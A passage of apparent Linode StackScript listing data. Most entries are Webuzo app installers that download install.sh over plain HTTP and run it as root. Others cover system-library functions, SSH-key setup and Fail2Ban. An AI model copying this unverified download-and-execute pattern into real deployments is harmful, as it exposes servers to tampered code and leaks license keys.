/root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Gallery 2 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Gallery 2 has been successfully installed\"\necho \" \"\necho \"You can now configure Gallery 2 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1119243, "username": "cecillysander", "user_gravatar_id": "b18e5b184afa0a761c23041172947c74", "label": "nono", "description": "nono", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\r\necho &quot;hello&quot;\r\n", "user_defined_fields": []}, {"id": 9227, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Eventum powered by Webuzo", "description": "Eventum is a user-friendly and flexible issue tracking system that can be used by a support department to track incoming technical support requests, or by a software development team to quickly organize tasks and bugs.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Eventum and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Eventum powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Eventum and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Eventum :\n# Eventum is a user-friendly and flexible issue tracking system that can be used by a support \n# department to track incoming technical support requests, or by a software development team to quickly\n# organize tasks and bugs.\n###########################################################################################################\n\n# Install Eventum Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=394&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Eventum and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Eventum has been successfully installed\"\necho \" \"\necho \"You can now configure Eventum and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1010699, "username": "manojserver", "user_gravatar_id": "11b2d04632b07576576c4cc464c99ddf", "label": "test", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu21.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n# \n# \n# \n# \n\n", "user_defined_fields": [{"name": "company_name", "label": "Company Name", "example": "My Company"}, {"name": "company_email", "label": "Company Email", "example": "my@company.com"}, {"name": "admin_email", "label": "Admin Email", "example": "my@company.com"}, {"name": "admin_password", "label": "Admin Password", "example": "s3cur39a55w0r0"}]}, {"id": 73228, "username": "rizerapp", "user_gravatar_id": "dc70e4f46019425154b0a652de0657da", "label": "lib-system-ubuntu", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu14.04lts", "linode/ubuntu16.04lts", "linode/ubuntu16.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\n#\n# System related utilities\n#\n# Copyright (c) 2010 Filip Wasilewski .\n#\n# My ref: http://www.linode.com/?r=aadfce9845055011e00f0c6c9a5c01158c452deb\n\nfunction lower {\n # helper function\n echo $1 | tr ''[:upper:]'' ''[:lower:]''\n}\n\nfunction system_update {\n apt-get update && apt-get upgrade -y\n}\n\nfunction system_add_user {\n # system_add_user(username, password, groups, shell=/bin/bash)\n USERNAME=`lower $1`\n PASSWORD=$2\n SUDO_GROUP=$3\n SHELL=$4\n if [ -z \"$4\" ]; then\n SHELL=\"/bin/bash\"\n fi\n useradd --create-home --shell \"$SHELL\" --user-group --groups \"$SUDO_GROUP\" \"$USERNAME\"\n echo \"$USERNAME:$PASSWORD\" | chpasswd\n}\n\nfunction system_add_system_user {\n # system_add_system_user(username, home, shell=/bin/bash)\n USERNAME=`lower $1`\n HOME_DIR=$2\n SHELL=$3\n if [ -z \"$3\" ]; then\n SHELL=\"/bin/bash\"\n fi\n useradd --system --create-home --home-dir \"$HOME_DIR\" --shell \"$SHELL\" --user-group $USERNAME\n}\n\nfunction system_lock_user {\n # system_lock_user(username)\n passwd -l \"$1\"\n}\n\nfunction system_get_user_home {\n # system_get_user_home(username)\n cat /etc/passwd | grep \"^$1:\" | cut --delimiter=\":\" -f6\n}\n\nfunction system_user_add_ssh_key {\n # system_user_add_ssh_key(username, ssh_key)\n USERNAME=`lower $1`\n USER_HOME=`system_get_user_home \"$USERNAME\"`\n sudo -u \"$USERNAME\" mkdir \"$USER_HOME/.ssh\"\n sudo -u \"$USERNAME\" touch \"$USER_HOME/.ssh/authorized_keys\"\n sudo -u \"$USERNAME\" echo \"$2\" >> \"$USER_HOME/.ssh/authorized_keys\"\n chmod 0600 \"$USER_HOME/.ssh/authorized_keys\"\n}\n\nfunction system_sshd_edit_bool {\n # system_sshd_edit_bool (param_name, \"Yes\"|\"No\")\n VALUE=`lower $2`\n if [ \"$VALUE\" == \"yes\" ] || [ \"$VALUE\" == \"no\" ]; then\n sed -i \"s/^#*\\($1\\).*/\\1 $VALUE/\" /etc/ssh/sshd_config\n fi\n}\n\nfunction system_sshd_permitrootlogin {\n system_sshd_edit_bool \"PermitRootLogin\" \"$1\"\n}\n\nfunction system_sshd_passwordauthentication {\n system_sshd_edit_bool \"PasswordAuthentication\" \"$1\"\n}\n\nfunction system_update_hostname {\n # system_update_hostname(system hostname)\n if [ -z \"$1\" ]; then\n echo \"system_update_hostname() requires the system hostname as its first argument\"\n return 1;\n fi\n echo $1 > /etc/hostname\n hostname -F /etc/hostname\n echo -e \"\\n127.0.0.1 $1 $1.local\\n\" >> /etc/hosts\n}\n\nfunction system_security_logcheck {\n aptitude -y install logcheck logcheck-database\n # configure email\n # start after setup\n}\n\nfunction system_security_fail2ban {\n aptitude -y install fail2ban\n}\n\nfunction system_security_ufw_configure_basic {\n # see https://help.ubuntu.com/community/UFW\n ufw logging on\n\n ufw default deny\n\n ufw allow ssh/tcp\n ufw limit ssh/tcp\n\n ufw allow http/tcp\n ufw allow https/tcp\n\n ufw enable\n}\n\nfunction system_configure_private_network {\n # system_configure_private_network(private_ip)\n PRIVATE_IP=$1\n NETMASK=\"255.255.128.0\"\n cat >>/etc/network/interfaces <\n\n###########################################################################################################\n# Install Magento 1.7 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Magento 1.7 :\n# Magento is an Open Source ecommerce web application launched on March 31, 2008.\n# It was created by Varien, building on components of the Zend Framework.\n###########################################################################################################\n\n# Install Magento 1.7 Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=465&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Magento 1.7 and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Magento 1.7 has been successfully installed\"\necho \" \"\necho \"You can now configure Magento 1.7 and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978956, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "Test", "description": "Test", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note", "script": "#!/bin/bash\nteffryt", "user_defined_fields": []}, {"id": 9229, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "SVNManager powered by Webuzo", "description": "SVNManager is a PHP web based tool to administer a Apache Subversion repository server. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure SVNManager and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "SVNManager powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install SVNManager and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About SVNManager :\n# SVNManager is a PHP web based tool to administer a Apache Subversion repository server. \n###########################################################################################################\n\n# Install SVNManager Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=380&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling SVNManager and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, SVNManager has been successfully installed\"\necho \" \"\necho \"You can now configure SVNManager and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9230, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Vty powered by Webuzo", "description": "Vty is a web-based database manager script written with Php. It''s for Mysql.\r\n\r\nYou can connect to Mysql and see and edit your databases and tables. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Vty and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Vty powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Vty and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Vty :\n# Vty is a web-based database manager script written with Php. It''s for Mysql.\n# You can connect to Mysql and see and edit your databases and tables. \n###########################################################################################################\n\n# Install Vty Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=327&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Vty and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Vty has been successfully installed\"\necho \" \"\necho \"You can now configure Vty and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 575759, "username": "jfeinbaum", "user_gravatar_id": "b5810c3cbafb05a4d8a19e3a11e37ab3", "label": "dingdong", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n# This block defines the variables the user of the script needs to input\n# when deploying using this script.\n#\n#\n#\n# HOSTNAME=\n#\n#\n# FQDN=\n\n# This sets the variable $IPADDR to the IP address the new Linode receives.\nIPADDR=$(/sbin/ifconfig eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n\n# This updates the packages on the system from the distribution repositories.\napt-get update\napt-get upgrade -y\n\n# This section sets the hostname.\necho $HOSTNAME > /etc/hostname\nhostname -F /etc/hostname\n\n# This section sets the Fully Qualified Domain Name (FQDN) in the hosts file.\necho $IPADDR $FQDN $HOSTNAME >> /etc/hosts", "user_defined_fields": [{"name": "hostname", "label": "The hostname for the new Linode."}, {"name": "fqdn", "label": "The new Linode''s Fully Qualified Domain Name"}]}, {"id": 712720, "username": "aleksd2000", "user_gravatar_id": "a22bad2fb913c1cd5d89fab0d03de7ee", "label": "Fail2Ban Server", "description": "Fail2Ban Server Setup\n\nFail2Ban is an intrusion prevention software framework that protects computer servers from brute-force attacks. Written in the Python programming language, it is able to run on POSIX systems that have an interface to a packet-control system or firewall installed locally, for example, iptables or TCP Wrapper\n\nThis script installs the Fail2Ban application and creates two \"Jails\" one for SSH, and the other for SSHD.\n\nI hope people find this useful.", "ordinal": 0, "logo_url": "", "images": ["linode/debian8", "linode/debian9", "linode/debian10"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Added support for Debian 8 and 9, and added default jail.local file", "script": "#!/bin/bash\n\n# Updating APT Database\napt-get update\n# Taking care of an initial upgrade\napt-get -y upgrade\n\n# Installing Fail2Ban Server\napt-get -y install fail2ban\n\n# Creating initial Jail.local File\ncat < /etc/fail2ban/jail.local\n\n# Default banning action (e.g. iptables, iptables-new,\n# iptables-multiport, shorewall, etc) It is used to define\n# action_* variables. Can be overridden globally or per\n# section within jail.local file\n\n#banaction = ufw\n#banaction_allports = ufw\n\n[ssh]\n\nenabled = true\nport = ssh\nfilter = sshd\nlogpath = /var/log/auth.log\nmaxretry = 1\nfindtime = 1d\nbantime = 1y\n\n[sshd]\nenabled = true\nmaxretry = 1\nfindtime = 1d\nbantime = 1y\n\nEOF\n\nsystemctl reload fail2ban", "user_defined_fields": []}, {"id": 9233, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Plandora powered by Webuzo", "description": "Plandora project was born to be a tool to help the software development process, from the customer requirement until the task conclusion, and consequently gather the \"history\" of project.\r\nThe Plandora system can be useful for teams that have problems with resource bottle-necks, parallel projects, critical dead lines, necessity for scope documentation of tasks and requirements, etc. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Plandora and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Plandora powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Plandora and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Plandora :\n# Plandora project was born to be a tool to help the software development process, from the customer \n# requirement until the task conclusion, and consequently gather the \"history\" of project.\n###########################################################################################################\n\n# Install Plandora Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=424&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Plandora and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Plandora has been successfully installed\"\necho \" \"\necho \"You can now configure Plandora and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9234, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "ClientExec powered by Webuzo", "description": "ClientExec offers online help desk software intended to enhance the ability of small and mid-sized hosting businesses to manage help and support issues. Because the online help desk software can be accessed from any web browser, managers and staff can increase the flexibility and effectiveness with which they address client support issues.\r\n\r\nClientExec''s software includes an easy-to-use interface that enhances communication between clients and staff. E-mail messages sent through the online help desk software are automatically routed and tracked, so you don''t have to spend time chasing after lost messages. Support tickets can be quickly sorted, filtered, and assigned to individual team members, ensuring that the tickets are addressed in the most efficient possible manner.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure ClientExec and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ClientExec powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install ClientExec and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About ClientExec :\n# ClientExec offers online help desk software intended to enhance the ability of small and mid-sized \n# hosting businesses to manage help and support issues.\n# Because the online help desk software can be accessed from any web browser, managers and \n# staff can increase the flexibility and effectiveness with which they address client support issues.\n###########################################################################################################\n\n# Install ClientExec Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=478&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling ClientExec and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, ClientExec has been successfully installed\"\necho \" \"\necho \"You can now configure ClientExec and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 978962, "username": "meenubediShine", "user_gravatar_id": "ac16f37ccd972a6f698dab5aab1188b2", "label": "StackScript Label", "description": "Description", "ordinal": 0, "logo_url": "", "images": ["linode/alpine3.12", "linode/alpine3.13", "linode/alpine3.15"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Revision Note 1", "script": "#!/bin/bash\n\nScript", "user_defined_fields": []}, {"id": 9235, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Croogo powered by Webuzo", "description": "Croogo is a free, open source, content management system for PHP. It is powered by CakePHP MVC framework. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Croogo and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Croogo powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Croogo and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Croogo :\n# Croogo is a free, open source, content management system for PHP. It is powered by CakePHP MVC framework. \n###########################################################################################################\n\n# Install Croogo Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=443&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Croogo and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Croogo has been successfully installed\"\necho \" \"\necho \"You can now configure Croogo and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 20, "username": "nbebout", "user_gravatar_id": "5dd8fb66331617dbbd6f90a10cdd47ac", "label": "Fedora/CentOS Bash Library", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/centos5.632bit", "linode/centos5.6", "linode/fedora1132bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\n\n###########################################################\n# System\n###########################################################\n\nfunction system_update {\n yum -y update\n}\n\nfunction system_primary_ip {\n # returns the primary IP assigned to eth0\n echo $(ifconfig eth0 | awk -F: ''/inet addr:/ {print $2}'' | awk ''{ print $1 }'')\n}\n\nfunction get_rdns {\n # calls host on an IP address and returns its reverse dns\n if [ ! -e /usr/bin/host ]; then\n yum -y install bind-utils > /dev/null\n fi\n echo $(host $1 | awk ''/pointer/ {print $5}'' | sed ''s/\\.$//'')\n}\n\nfunction get_rdns_primary_ip {\n # returns the reverse dns of the primary IP assigned to this system\n echo $(get_rdns $(system_primary_ip))\n}\n\nfunction install_basics {\n yum install -y jwhois rsync openssh-clients wget\n}", "user_defined_fields": []}, {"id": 9236, "username": 